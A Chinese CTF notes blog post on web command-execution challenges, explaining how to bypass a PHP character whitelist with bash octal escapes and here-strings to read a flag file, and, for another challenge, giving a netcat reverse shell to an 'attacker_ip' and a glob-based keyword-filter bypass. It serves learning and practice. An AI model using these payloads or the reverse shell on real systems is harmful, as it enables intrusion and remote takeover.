Web命令执行笔记(持续更新)
Web命令执行笔记
会将web命令执行的题目放到这篇博客来记录,方便自己日后查阅。
XYCTF-ezRCE(只允许数字、$、<、\)
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
- 八进制转义序列: 八进制转义序列以反斜杠
\
开头,后面跟着一到三个八进制数字(0-7)。例如,\101
表示ASCII字符'A'(十进制的65)。 - 十六进制转义序列: 十六进制转义序列以
\x
或\X
开头,后面跟着一到两个十六进制数字(0-9,A-F,a-f)。例如,\x41
或\X41
都表示字符 'A'。
$'\154\163'
就可以执行ls命令,第一个$用来转义,后面是ls
<<<
:这是 Bash 中的 "here string" 语法,它允许你将一个字符串传递给一个命令作为输入,而不是从文件中读取或作为命令行参数。
$0<<<'ls'
$0<<<$'\154\163'
#第二行比第一行多一个$,这个$是转义的意思。
$0其实就是脚本本身的名字,在命令行中,它一般是bash
所以$0<<<$'\154\163'
其实就是bash<<<$'\154\163'
这行代码 bash<<<$'\154\163'
是在Bash shell中使用Here String的一种方式,用于向Bash直接传递一个包含转义序列的字符串作为输入。
bash
: 指的是Bash shell本身,这里作为接收输入的命令。<<<
: Here String操作符,它允许你将跟在其后的字符串作为命令的标准输入。$'...'
: 这种引号内的字符串允许使用C语言风格的转义序列。\154
和\163
分别代表ASCII码的八进制表示,对应字符'l'(小写的L)和's'。
因此,$'\154\163'
解释后就是字符串 "ls"。所以整行命令的意思是直接通过Bash执行字符串 "ls" 作为命令输入,等同于在终端直接输入 ls
命令,通常用于列出当前目录下的文件和目录。
?cmd=$0<<<$'\143\141\164\040\057\52'
#就是在执行$0<<<'cat fl*'
更多用法和更详细的解释:https://xz.aliyun.com/t/12242
ez?Make
命令执行,是个黑盒,ban了很多关键字。
方法一:反弹shell
首先能用which nc来看看有没有nc功能。
#接着就是在服务器上监听端口
nc -lvp 2122
#这里,-l 表示监听模式,-v 为详细输出,-p 4444 指定监听的端口号。
#如果目标是Linux系统,命令可能像这样:
nc attacker_ip 2122 -e sh
#这里,attacker_ip 是攻击者的IP地址,-e 参数后面跟着要执行的shell程序路径。
方法二:绕过
cd .. && cd .. && cd .. &&more [e-h][k-m][^b-z][e-h]
#先cd切换到根目录,然后在用more命令进行读取,题目中ban了flag等字符,这里用正则表达式来进行匹配,其中[^b-z]是只不匹配b-z的字符。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理